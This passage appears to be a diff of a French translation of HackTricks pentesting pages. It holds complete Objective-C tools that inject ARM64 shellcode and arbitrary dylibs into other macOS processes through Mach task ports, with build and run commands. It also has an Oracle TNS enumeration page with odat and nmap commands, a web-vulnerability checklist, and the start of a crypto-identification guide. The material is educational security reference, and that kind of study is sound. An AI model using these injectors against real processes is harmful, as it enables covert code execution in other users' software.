double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{{#endtab}}
{{#tab name="entitlements.plist"}}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{{#endtab}}
{{#endtabs}}
**Compilez** le programme précédent et ajoutez les **entitlements** pour pouvoir injecter du code avec le même utilisateur (sinon, vous devrez utiliser **sudo**).
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Injection de Dylib dans un thread via le port de tâche
Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'**api posix `pthread`**. Le thread que nous avons généré dans l'injection précédente a été créé en utilisant l'api Mach, donc **il n'est pas conforme à posix**.
Il a été possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de fonctionner avec des apis** conformes à posix, seulement avec Mach. Des **injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
Par conséquent, pour **améliorer le thread**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger une dylib** depuis le système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées.
Vous pouvez trouver des **dylibs d'exemple** dans (par exemple celle qui génère un log et ensuite vous pouvez l'écouter) :
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Détournement de fil via le port de tâche <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
Dans cette technique, un fil du processus est détourné :
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
## XPC
### Informations de base
XPC, qui signifie XNU (le noyau utilisé par macOS) inter-Process Communication, est un cadre pour **la communication entre processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** sur le système. C'est une partie du paradigme de sécurité d'Apple, permettant la **création d'applications séparées par privilèges** où chaque **composant** fonctionne avec **seulement les autorisations nécessaires** pour accomplir sa tâche, limitant ainsi les dommages potentiels d'un processus compromis.
Pour plus d'informations sur le fonctionnement de cette **communication** et sur la façon dont elle **pourrait être vulnérable**, consultez :
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Générateur d'interface Mach
MIG a été créé pour **simplifier le processus de création de code Mach IPC**. Il génère essentiellement le **code nécessaire** pour que le serveur et le client communiquent avec une définition donnée. Même si le code généré est peu esthétique, un développeur n'aura qu'à l'importer et son code sera beaucoup plus simple qu'auparavant.
Pour plus d'infos, consultez :
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
## Références
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,61 +0,0 @@
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{{#include ../../banners/hacktricks-training.md}}
## Informations de base
Oracle database (Oracle DB) est un système de gestion de base de données relationnelle (RDBMS) de la société Oracle (à partir de [ici](https://www.techopedia.com/definition/8711/oracle-database)).
Lors de l'énumération d'Oracle, la première étape consiste à communiquer avec le TNS-Listener qui réside généralement sur le port par défaut (1521/TCP, -vous pouvez également obtenir des écouteurs secondaires sur 15221529-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Résumé
1. **Énumération de version** : Identifier les informations de version pour rechercher des vulnérabilités connues.
2. **Bruteforce du TNS Listener** : Parfois nécessaire pour établir une communication.
3. **Énumération/Bruteforce du nom SID** : Découvrir les noms de base de données (SID).
4. **Bruteforce des identifiants** : Tenter d'accéder au SID découvert.
5. **Exécution de code** : Tenter d'exécuter du code sur le système.
Pour utiliser les modules oracle de MSF, vous devez installer certaines dépendances : [**Installation**](oracle-pentesting-requirements-installation.md)
## Publications
Consultez ces publications :
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## Commandes Automatiques HackTricks
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for Oracle
Note: |
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
#great oracle enumeration tool
navigate to https://github.com/quentinhardy/odat/releases/
download the latest
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
cd odat-libc2.12-x86_64/
./odat-libc2.12-x86_64 all -s 10.10.10.82
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,129 +0,0 @@
# Méthodologie des vulnérabilités Web
{{#include ../../banners/hacktricks-training.md}}
Dans chaque Pentest Web, il y a **plusieurs endroits cachés et évidents qui pourraient être vulnérables**. Cet article est destiné à être une liste de contrôle pour confirmer que vous avez recherché des vulnérabilités dans tous les endroits possibles.
## Proxies
> [!TIP]
> De nos jours, les **applications** **web** utilisent généralement une sorte de **proxies** **intermédiaires**, qui peuvent être (mal) utilisés pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent qu'un proxy vulnérable soit en place, mais elles ont généralement aussi besoin d'une vulnérabilité supplémentaire dans le backend.
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
## **Entrée utilisateur**
> [!TIP]
> La plupart des applications web **permettent aux utilisateurs d'entrer des données qui seront traitées plus tard.**\
> En fonction de la structure des données que le serveur attend, certaines vulnérabilités peuvent ou non s'appliquer.
### **Valeurs réfléchies**
Si les données introduites peuvent d'une manière ou d'une autre être réfléchies dans la réponse, la page pourrait être vulnérable à plusieurs problèmes.
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
- [ ] [**Command Injection**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
- [ ] [**Open Redirect**](../open-redirect.md)
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](../xs-search.md)
Certaines des vulnérabilités mentionnées nécessitent des conditions spéciales, d'autres nécessitent simplement que le contenu soit réfléchi. Vous pouvez trouver des polyglottes intéressants pour tester rapidement les vulnérabilités dans :
{{#ref}}
../pocs-and-polygloths-cheatsheet/
{{#endref}}
### **Fonctionnalités de recherche**
Si la fonctionnalité peut être utilisée pour rechercher une sorte de données dans le backend, peut-être pouvez-vous (mal) l'utiliser pour rechercher des données arbitraires.
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
- [ ] [**NoSQL Injection**](../nosql-injection.md)
- [ ] [**LDAP Injection**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL Injection**](../sql-injection/index.html)
- [ ] [**XPATH Injection**](../xpath-injection.md)
### **Formulaires, WebSockets et PostMsgs**
Lorsqu'un websocket envoie un message ou qu'un formulaire permet aux utilisateurs d'effectuer des actions, des vulnérabilités peuvent apparaître.
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
### **En-têtes HTTP**
En fonction des en-têtes HTTP fournis par le serveur web, certaines vulnérabilités peuvent être présentes.
- [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
### **Bypasses**
Il existe plusieurs fonctionnalités spécifiques où certaines solutions de contournement peuvent être utiles pour les contourner.
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
- [ ] [**Login Bypass**](../login-bypass/index.html)
- [ ] [**Race Condition**](../race-condition.md)
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
### **Objets structurés / Fonctionnalités spécifiques**
Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé de langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\
Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-têtes d'email).
- [ ] [**Deserialization**](../deserialization/index.html)
- [ ] [**Email Header Injection**](../email-injections.md)
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
### Fichiers
Les fonctionnalités qui permettent de télécharger des fichiers peuvent être vulnérables à plusieurs problèmes.\
Les fonctionnalités qui génèrent des fichiers incluant des entrées utilisateur peuvent exécuter un code inattendu.\
Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateurs ou générés automatiquement incluant des entrées utilisateur peuvent être compromis.
- [ ] [**File Upload**](../file-upload/index.html)
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Gestion d'identité externe**
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
### **Autres vulnérabilités utiles**
Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités.
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,183 +0,0 @@
# Algorithmes Cryptographiques/Compression
{{#include ../../banners/hacktricks-training.md}}
## Identification des Algorithmes
Si vous terminez par un code **utilisant des décalages à droite et à gauche, des xors et plusieurs opérations arithmétiques**, il est très probable qu'il s'agisse de l'implémentation d'un **algorithme cryptographique**. Voici quelques façons de **identifier l'algorithme utilisé sans avoir besoin de décompiler chaque étape**.
### Fonctions API
**CryptDeriveKey**
Si cette fonction est utilisée, vous pouvez trouver quel **algorithme est utilisé** en vérifiant la valeur du deuxième paramètre :
![](<../../images/image (375) (1) (1) (1) (1).png>)
Consultez ici le tableau des algorithmes possibles et leurs valeurs assignées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Compresse et décompresse un tampon de données donné.
**CryptAcquireContext**
D'après [la documentation](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta) : La fonction **CryptAcquireContext** est utilisée pour acquérir un handle à un conteneur de clés particulier au sein d'un fournisseur de services cryptographiques (CSP) particulier. **Ce handle retourné est utilisé dans les appels aux fonctions CryptoAPI** qui utilisent le CSP sélectionné.
**CryptCreateHash**
Initie le hachage d'un flux de données. Si cette fonction est utilisée, vous pouvez trouver quel **algorithme est utilisé** en vérifiant la valeur du deuxième paramètre :
![](<../../images/image (376).png>)
\
Consultez ici le tableau des algorithmes possibles et leurs valeurs assignées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Constantes de code
Parfois, il est très facile d'identifier un algorithme grâce au fait qu'il doit utiliser une valeur spéciale et unique.
![](<../../images/image (370).png>)
Si vous recherchez la première constante sur Google, voici ce que vous obtenez :
![](<../../images/image (371).png>)
Par conséquent, vous pouvez supposer que la fonction décompilée est un **calculateur sha256.**\
Vous pouvez rechercher n'importe laquelle des autres constantes et vous obtiendrez (probablement) le même résultat.
### Informations sur les données
Si le code n'a pas de constante significative, il peut être **en train de charger des informations à partir de la section .data**.\
Vous pouvez accéder à ces données, **grouper le premier dword** et les rechercher sur Google comme nous l'avons fait dans la section précédente :
![](<../../images/image (372).png>)
Dans ce cas, si vous recherchez **0xA56363C6**, vous pouvez trouver qu'il est lié aux **tables de l'algorithme AES**.
## RC4 **(Cryptographie Symétrique)**
### Caractéristiques
